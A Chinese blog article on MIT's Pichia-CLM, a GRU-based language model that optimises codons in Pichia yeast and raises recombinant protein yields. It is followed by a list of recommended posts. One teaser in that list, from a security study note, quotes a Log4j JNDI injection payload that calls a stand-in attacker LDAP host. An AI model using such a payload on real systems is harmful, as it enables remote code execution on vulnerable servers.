MIT开发Pichia-CLM模型学习酵母DNA「语言」,外源蛋白产量最高可提高至3倍

深度学习优化毕赤酵母蛋白表达的技术解析 密码子优化是提升重组蛋白表达效率的核心技术,其原理是通过调整DNA序列中的密码子组合来匹配宿主细胞的翻译机制。传统方法依赖统计学规律,而现代深度学习技术能够更精准地捕捉宿主特异性表达模式。MIT团队开发的Pichia-CLM模型创新性地将NLP技术应用于生物序列分析,通过GRU网络架构处理密码子序列数据,在毕赤酵母系统中实现了最高3倍的蛋白产量提升。该技术在单克隆抗体等生物制药领域具有重要应用价值,能显著降低生产成本并缩短研发周期。实验数据显示,相比传统密码子适应指数(CAI)方法,这种AI驱动的优化策略使 阅读详情

在生物制药与工业生物技术领域,重组蛋白的高效表达始终是决定生产成本与工艺可行性的核心因素。从单克隆抗体、疫苗抗原到工业酶制剂,表达水平的微小提升,都可能带来显著的经济价值。

在众多表达系统中,毕赤酵母(Komagataella phaffii)凭借其高密度发酵能力、成熟的分泌表达体系以及良好的蛋白加工能力,已成为工业生产的重要宿主之一。然而,一个长期困扰行业的问题在于:即便氨基酸序列完全一致,仅仅改变编码 DNA 中的「同义密码子」,就可能导致表达量出现数量级差异。

这一现象源于密码子使用偏好性(Codon Usage Bias, CUB)——在许多生物体中,某些同义密码子会被优先使用。对同义密码子的选择会通过影响转录、mRNA 稳定性、翻译、蛋白质折叠、翻译后修饰(PTMs)以及溶解性,从而影响蛋白产量。因此,「密码子优化」成为外源蛋白表达的关键步骤。

目前业界已经开发了多种基于宿主 CUB 的密码子优化工具和方法,但这些方法仍可能无法稳定地产生高表达构建体。近年来,随着人工智能尤其是序列建模技术的发展,研究者开始将基因序列视为一种「语言」,尝试通过类似自然语言处理的方法来学习其中的隐含规则。

在这一背景下,来自麻省理工学院的研究团队提出一种基于深度学习的语言模型 Pichia-CLM,用于在工业相关宿主毕赤酵母中进行密码子优化,以提升重组蛋白的产量。不同于依赖 CUB 指标的传统方法(通常只提供全局评分并忽略序列上下文),Pichia-CLM 利用宿主基因组数据,无偏地学习氨基酸到密码子的映射关系。研究人员在 6 类不同复杂度的蛋白上对 Pichia-CLM 进行了实验验证,并且与 4 种商业化密码子优化工具相比,始终观察到更高的表达产量。

相关研究成果以「Pichia-CLM: A language model–based codon optimization pipeline for Komagataella phaffii」为题,已刊登 PNAS。

研究亮点:

* Pichia-CLM 利用宿主基因组数据无偏地学习氨基酸到密码子的映射关系,不仅考虑宿主偏好,还能捕捉位置依赖性和长程上下文关系

* 在 6 类不同复杂度的蛋白上对 Pichia-CLM 进行了实验验证,始终观察到更高的表达产量

* 模型学习到的氨基酸和密码子嵌入能够根据理化性质进行分组,说明语言模型能够捕捉具有物理意义的规律

图片


论文地址:
https://www.pnas.org/doi/10.1073/pnas.2522052123
关注公众号,后台回复「毕赤酵母」获取完整 PDF

构建以毕赤酵母为中心的大规模序列数据集

与传统依赖经验规则的方法不同,Pichia-CLM 的核心思想是直接从宿主基因组中学习编码规律。为此,研究团队构建了一个以毕赤酵母为中心的大规模序列数据集。

为了训练 Pichia-CLM,研究人员从 NCBI 收集了两种毕赤酵母变体的氨基酸序列和编码序列数据:CBS7435 和 GS115。此外,还补充了其实验室此前完成基因组测序与注释的数据,包括 GS115、K. phaffii(NRRL Y11430)以及 K. pastoris——最终共使用约 27,000 对氨基酸–编码序列数据。

在数据处理过程中,研究人员对氨基酸和密码子进行了标记化(tokenization),并引入起始(<START>)、终止(<END>)和填充(<PAD>)标记,使模型能够处理不同长度的序列并支持批量训练。同时,数据集被划分为训练集与测试集,其中约 20% 用于评估模型在未见数据上的预测能力。

值得注意的是,这种数据构建方式并未人为引入任何「优化目标」,而是完全基于天然基因组数据。这意味着模型学习到的是宿主真实的表达偏好,而非人为设定的近似规则,为后续性能提升奠定了基础。

Pichia-CLM 采用基于 GRU 的编码器–解码器架构

模型架构

Pichia-CLM 采用基于门控循环单元(GRU)的编码器–解码器架构,GRU 是一种改进型循环神经网络结构,旨在捕捉序列数据中的长程和短程依赖关系。通过门控机制调节信息流动,GRU 有效缓解了传统 RNN 中常见的梯度消失问题。此外,GRU 在性能上可与长短期记忆网络(LSTM)相媲美,但所需参数更少、计算资源消耗更低,因此在许多序列建模任务中更具效率优势。

相比另一类主流架构 Transformer,GRU 在中小规模数据集上具有更高的计算效率与更低的资源消耗。研究表明,在约 2.7 万条序列规模的数据条件下,引入 Transformer 反而会增加不必要的复杂度,而 GRU 能够在性能与效率之间取得更优平衡。

模型以蛋白质的氨基酸序列作为输入,并根据从宿主氨基酸序列和编码序列中学习到的模式生成相应的 DNA 序列,整体架构如下图所示:
 

图片


Pichia-CLM 的工作流程及示意图

模型训练过程

在训练过程中,研究人员使用验证集(训练集的 20%)进行早停(early stopping)以优化参数。同时,以验证集损失(稀疏分类交叉熵)最小化为目标进行超参数选择。超参数优化采用贝叶斯优化这一全局优化策略,并结合研究人员内部开发的代码实现。

具体而言,模型中涉及以下超参数:

* 氨基酸嵌入维度

* 密码子嵌入维度

* 编码器层的单元数

* 解码器中密码子全连接层的大小

* 解码器中氨基酸全连接层的大小

在模型训练阶段,解码器输入为真实的编码序列(即真实密码子)。而在预测阶段,模型使用前一位置预测得到的密码子作为下一位置的输入,从而实现完全自回归预测。当遇到终止密码子时,序列预测终止。

在完成架构选择并在测试集上验证预测能力后,研究人员使用完整数据集重新训练最终模型,并继续采用早停策略以避免过拟合,该最终模型用于设计外源蛋白的编码序列。

Pichia-CLM 能够生成高产蛋白的构建体

在实验验证部分,研究团队选取了 6 种具有不同复杂度的蛋白进行测试,包括:

* 人生长激素(hGH)

* 人粒细胞集落刺激因子(hGCSF)

* VHH 纳米抗体 3B2(34)

* 工程化 SARS-CoV-2 RBD 亚基变体(RBD)(35)

* 人血清白蛋白(HSA)

* IgG1 单克隆抗体曲妥珠单抗(Trast)

Pichia-CLM 在毕赤酵母中提升蛋白分泌的性能

首先,研究人员选择了 3 种来源于人类、具有不同大小和复杂度的蛋白:hGH、hGCSF 和 HSA,比较了使用 Pichia-CLM 生成的基因构建体与其天然编码序列在蛋白分泌产量(滴度)上的差异。总体而言,对于 hGH 和 hGCSF 等蛋白,产量提升约为 25%;而对于 HSA,则观察到约 3 倍的显著提升。

随后,研究人员将 Pichia-CLM 与 4 种商业密码子优化工具进行了比较:Azenta、IDT、GenScript 和 Thermo Fisher(Thermo),针对前述 6 种蛋白进行了评估,并采用两个指标:

* BestTiter:某方法获得最高滴度的蛋白数量

* Aggregated Score(综合得分):不同蛋白相对滴度(归一化至最大值)的总和

总体来看,Pichia-CLM 在这两个指标上均优于商业算法(如下图 C);它在 6 种蛋白中有 5 种取得最高滴度,仅在 HSA 上因滴度略低而导致综合得分略微下降(约 0.2)(如下图D)。

图片


(C) 基于两个指标对不同密码子优化算法进行排名;

 (D) 不同分子中,Pichia-CLM 与各商业算法在密码子优化效率上的比较

遗传序列特性的评估

在验证了 Pichia-CLM 在外源蛋白生产方面的性能之后,研究人员进一步分析了不同设计构建体的遗传序列特性。包括其他已报道的蛋白语言模型在内,密码子优化通常依赖一种或多种密码子使用偏好性(CUB)指标进行设计或评估,因此,其利用 6 种测试蛋白的数据评估了这些 CUB 指标与蛋白产量之间的相关性。

结果表明,这些指标均未能在不同蛋白之间与产量表现出一致且较高的相关性。例如,在 HSA 的情况下(如下图 A),与密码子波动性和密码子频率分布(CFD)的最大正相关仅为 0.43,而与密码子对评分(CPS)的最大负相关也仅为 0.25。

图片


在实验测试蛋白中,Pichia-CLM 与商业算法设计序列中预测的负向顺式调控元件数量比较

基于整条序列计算的全局 CUB 指标在表征与外源蛋白生产相关的特征方面存在明显局限性。进而说明需要新的评价指标来评估密码子优化工具,并结合多样化蛋白的严格实验验证——这一结果直接挑战了传统密码子优化的理论基础。

序列特征评估

研究人员还评估了不同密码子优化构建体中负向顺式调控元件的存在情况,这些元件可能干扰宿主的调控机制,因此在外源 DNA 序列中应尽量避免。

在 6 种测试蛋白中,采用 Pichia-CLM 设计的构建体均未检测到负向顺式调控元件;相比之下,GenScript 在 6 种蛋白中有 3 种包含 1 个负向顺式调控元件;Azenta 和 IDT 在至少一种蛋白中产生了含有 3 至 4 个此类元件的序列,如下图 B:

图片


在 52 种生物技术相关基准蛋白中,Pichia-CLM 与 GenScript 优化序列中负向顺式调控元件分布的比较

研究人员也分析了 Pichia-CLM 在 52 种生物技术相关蛋白中的表现,结果显示:75% 的蛋白序列完全不含负向顺式调控元件,剩余 25% 最多仅含 2 个此类元件。相比之下,表现最好的商业算法 GenScript 在约 15% 的蛋白中仍产生了含 3 至 6 个负向顺式调控元件的构建体,如下图 C:
 

图片


基于预测 RNA 结构自由能,对不同构建体的 RNA 稳定性进行比较(Pichia-CLM 与商业算法)

综上,这些结果表明,Pichia-CLM 不仅能够生成高产蛋白的构建体,还能够学习关键的遗传序列特征,在多种因素之间实现平衡,从而设计出适用于宿主表达的稳健编码序列。

AI 加速蛋白质生产工业化进程

在生物医药产业中,提高蛋白质的生产效率始终是决定研发转化与商业化成败的关键因素。从单克隆抗体到重组疫苗,再到各类融合蛋白与酶制剂,其市场需求持续增长,对产量、稳定性与一致性的要求也不断提高。

围绕这一目标,业界已经形成了多层次的优化体系:在宿主层面,除传统的大肠杆菌与酿酒酵母外,毕赤酵母与哺乳动物细胞因其更优的翻译后修饰能力与表达效率,已成为主流生产平台;在分子设计层面,除了密码子优化,还包括启动子强度调控、信号肽筛选、mRNA 结构工程以及蛋白折叠与分泌路径优化;而在工艺层面,高密度发酵、补料策略优化以及生物反应器参数控制,同样对最终产量起到决定性作用。

在这一体系之外,一类「去细胞化」的技术路径正在迅速崛起,即无细胞蛋白质合成(Cell-Free Protein Synthesis, CFPS)。该技术绕过细胞生长过程,直接利用细胞裂解液中的转录翻译系统,实现蛋白的快速表达,已广泛应用于抗体、酶乃至抗体偶联药物的开发与生产。然而,CFPS 体系本身是一个高度复杂的多变量系统,涉及 DNA 模板、酶体系、能量供体、氨基酸与离子环境等数十种组分,其组合空间极其庞大,传统依赖经验的优化方式往往难以在成本与产量之间取得理想平衡。

在这一背景下,人工智能驱动的自动化优化展现出颠覆性潜力。近日,OpenAI 携手合成生物学头部企业 Ginkgo Bioworks 发布重磅研究成果。基于 GPT-5 大语言模型构建的「闭环自动化系统」,成功实现无细胞蛋白质合成(CFPS)技术的双重优化——将该技术的总生产成本降低 40%,试剂成本大幅削减 57%,同时蛋白质合成效价提升 27%。

未来,类似思路也会向更广泛的生物制造场景扩展。从细胞工厂的代谢路径优化,到发酵过程的实时控制,再到表达构建体的智能设计,人工智能正逐步嵌入蛋白药物生产的各个环节。

参考文献:
1.https://www.pnas.org/doi/10.1073/pnas.2522052123
2.https://phys.org/news/2026-02-ai-yeast-dna-language-boost.html#google_vignette
3.https://mp.weixin.qq.com/s/Qkl6j9HcFB7W_Y5Xh-9BCw

Pichia-CLM:用语言模型读懂毕赤酵母密码子偏好,提升重组蛋白表达 生物序列与自然语言有惊人相似:密码子组合如同单词排列,隐藏着宿主细胞的表达偏好。以毕赤酵母这类甲基营养型酵母为研究样本,DNA语言模型通过海量编码序列的无监督学习,掌握了同义密码子的上下文使用规律。不同于静态密码子偏好表,这类模型能捕捉相邻密码子搭配、RNA结构等位置效应,为重组蛋白的编码序列提供更精准的优化建议,最高可让外源蛋白产量提升三倍。Pichia-CLM正是这一思路的实践——它先为外源基因打分,再按模型概率生成候选序列,辅助科研人员在摇瓶验证前完成计算筛选。本文拆解其原理与使用边界,为酵母表达体系 阅读详情

相关推荐

从零开始学习 Go 1.25 编程

今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀

sinat_25548781的博客 96

外源蛋白产量最高可提高至3倍!MIT开发Pichia-CLM模型学习酵母DNA「语言」

该技术绕过细胞生长过程,直接利用细胞裂解液中的转录翻译系统,实现蛋白的快速表达,已广泛应用于抗体、酶乃至抗体偶联药物的开发与生产。例如,在 HSA 的情况下(如下图 A),与密码子波动性和密码子频率分布(CFD)的最大正相关仅为 0.43,而与密码子对评分(CPS)的最大负相关也仅为 0.25。括其他已报道的蛋白语言模型在内,密码子优化通常依赖一种或多种密码子使用偏好性(CUB)指标进行设计或评估,因此,其利用 6 种测试蛋白的数据评估了这些 CUB 指标与蛋白产量之间的相关性。

数据派THU 74

从零开始学习使用 AI

欢迎踏入ClaudeCode未来世界,开启与AI协作的全新旅程。无论你是零基础新手、开发者,还是非程序员,都能通过实战项目快速掌握智能体协作技能——不再只是提问,而是指挥AI完成复杂任务。你将化身主角,在16个级别、200+实践中成长为高效创造者。真正的优势不再是会用工具,而是懂得如何让智能体为你工作。取代你的不是AI,而是会用AI的人。现在,故事从你开始👇

sinat_25548781的博客 143

Pichia-CLM:用AI语言模型优化毕赤酵母密码子,蛋白表达量提升3倍

毕赤酵母作为工业上主流的蛋白表达宿主,其外源蛋白产量常受制于基因序列与宿主“语言”的匹配度。传统密码子优化依赖局部频率表,难以平衡翻译效率与蛋白折叠。新一代语言模型Pichia-CLM通过深度学习酵母编码序列的语法与上下文规则,将DNA视为可理解的自然语言,从全局视角生成更优的密码子方案。该技术不仅破解了难表达蛋白的分泌瓶颈,还为重组蛋白、工业酶等生物制造场景提供了从序列设计到发酵验证的完整思路,让表达系统优化从经验试错走向数据驱动的精准工程。

weixin_42521856的博客 194

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 42

小白学电路之cadance搭建buffer电路

Buffer(缓冲器)是一种放大器或驱动电路,主要用于隔离输入和输出,以防止负载对前级电路造成干扰或影响。本文作者在电路方面是小白水平,目前正在学习,有不足之处欢迎指正。3.创建新的cellview,对此buffer进行仿真验证。2.创建buffer的symbol。电路中的V2的详细参数。

weixin_58051657的博客 1988

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 375

思澈sdk-新建lcd

co5300至此有3个同ID的驱动,在co5300xxxx.c的LCD_DRIVER_EXPORT(co5300, LCD_ID, &lcdc_int_cfg, &CO5300_drv, LCD_PIXEL_WIDTH, LCD_PIXEL_HEIGHT, 2);2 在customer\peripherals\Kconfig_lcd中添加如下配置(注意修改的地方有两个LCD_USING_TFT_CO5300_143)5 在该文件中的config LCD_DPI配置项下添加:(这里300为DPI)

gongyuan073的专栏 1388

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 422

k8s集群部署私有镜像仓库

本文介绍了在Kubernetes集群中部署私有镜像仓库的完整方案。使用registry:2镜像创建Deployment,通过NodePort(30500)暴露服务,并采用hostPath(/data/registry)实现数据持久化。部署过程包括节点标记、YAML配置、资源创建及验证步骤,同时提供了Docker和Containerd两种环境下的详细使用方法,包括配置不信任私有仓库、镜像推送/拉取操作指南。该方案特别适合开发测试环境,为团队提供便捷的本地镜像管理能力。

weixin_42728286的博客 893

OLED 驱动模块程序代码

作为嵌入式软件开发,可能经常会使用单片机连接驱动显示屏,实现人机交互的功能,通常可选择的有 OLED 和 LCD 等,其中相关驱动代码例程网上更是数不胜数。 本文介绍的是 OLED, 常见代表有 0.96 寸的OLED,网上也有很多相关的驱动代码,但是大部分代码都是能用即可,不是特别关注驱动代码的整体架构,以下是个人整理的 OLED 驱动代码,支持配置 SPI 和 IIC 两种接口方式(目前只是测试了 SPI,IIC 有待验证)。

大橙子的博客 4290

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?

m0_57222081的博客 216

粒子群算法Particle Swarm Optimization超详细解析+代码实例讲解

粒子群算法,也称粒子群优化算法或鸟群觅食算法(Particle Swarm Optimization),缩写为 PSO, 是近年来由J. Kennedy和R. C. Eberhart等开发的一种新的进化算法(Evolutionary Algorithm - EA)。

猫敷雪 893

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 200

【高级】系统架构师 | 2026年上半年案例分析真题

标准答案:系统因缺乏足够历史数据(用户行为、物品信息或评分等),难以做出准确推荐的问题。另外两种:物品冷启动(新课程 / 新知识点缺少互动数据)系统冷启动(平台上线初期整体数据稀缺)类型典型表现常见缓解用户冷启动新注册学员无历史问卷/前测、热门兜底、人口统计学特征、知识图谱前置测评物品冷启动新课无人学无人评内容特征推荐、专家标注、探索流量系统冷启动新平台双边都稀缺规则引擎、运营冷启、知识图谱强约束路径本题已点明「用户冷启动」,另外两种按推荐系统经典三分法作答即可。

大胆尝试,小心实践 358

vLLM专题(七)-支持的模型列表

vLLM支持跨多种任务的生成式和池化模型。如果一个模型支持多个任务,您可以通过–task参数来设置任务。对于每个任务,我们列出了已在vLLM中实现的模型架构。每个架构旁边,我们列出了一些使用该架构的流行模型。

1259

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 362

Supreme小程序自动化抢购终端——源码架构与执行流程全解析

本系统是一套基于开发的桌面端小程序自动化抢购终端。把只有开发者能跑的脚本,包装成普通用户也能操作的桌面工具。参数自动捕获 → 商品多关键词检索 → sku/尺码/库存映射 → 多商品任务队列 → 定时/立即抢购 → 订单创建 → 支付参数拉取 → 本地服务生成支付链接 → 手机微信扫码付款这套 Supreme 抢购终端,表面上看是一个"下单工具"。但从工程角度审视,它已经具备了一个小型桌面自动化系统GUI 层:CustomTkinter 现代化界面,线程安全业务层:多商品队列、定时调度、任务编排。

猫敷雪 203

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 168

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 198

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

将物理先验嵌入机器人学习:从经典力学到 VLA 与 WAM

本文综述了将物理先验嵌入机器人学习的三条路径:数据与表示、模型架构、训练损失,强调其位置决定约束效力。通过夹取软物体案例,阐明运动学、动力学、接触与材料特性在任务中的分层作用。指出物理先验非万能,需匹配实际条件;强约束可加速学习,但误用会引入偏差。提出“有效刚度”等概念,强调主动探测与参数辨识的重要性,并警示仅靠单一方法无法保障安全执行,需结合在线验证与控制闭环。

lovely_yoshino的博客 902

Linux网络学习【深入理解多路转接epoll】

本文围绕 Linux 多路转接 epoll 展开,以“设计动机—核心机制—触发模式—代码实践”为主线,对比 select、poll 的监听管理与就绪检查方式,解析关注集合、就绪列表及核心接口,重点讲解水平触发与边缘触发的行为差异,以及边缘触发配合非阻塞读写的处理要点。结合多连接服务器实践,梳理事件注册、连接接收、部分收发、可写事件按需监听及断开清理流程,厘清就绪通知与操作完成的区别,分析常见错误与性能影响因素,帮助读者建立从事件循环到连接管理的完整认识,为高并发服务器与事件驱动框架开发打下基础。

承于所学,探技术之渊;以代码求政,寻成长之道。 1万+

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 184

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 357

ES6:Iterator与Generator函数学习及Generator函数和async实现异步编程理解

几个概念:可迭代对象是指具有迭代器接口的对象: 实现类数组使用 for of 循环 对象无法使用数组的迭代器。 generator 函数类似遍历器函数,返回一个迭代器对象; 该对象调用 方法时,会把 后面的表达式作为值 ,并执行当前指针与下一步指针之间的程序。 generator 实现迭代器函数 后面跟的内容为 得到的 值。流程:循环 会调用 generator 函数,返回一个 iterator 对象, 方法由 generator 内部的 决定。 Gene

2403_87566238的博客 221

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 224
上一篇: 【vLLM 学习】Tpu
下一篇: 在线教程丨基于500万小时语音数据,Qwen3-TTS实现3秒语音克隆及精细调控
HyperAI超神经
博客等级 码龄7年 8873粉丝 1753原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值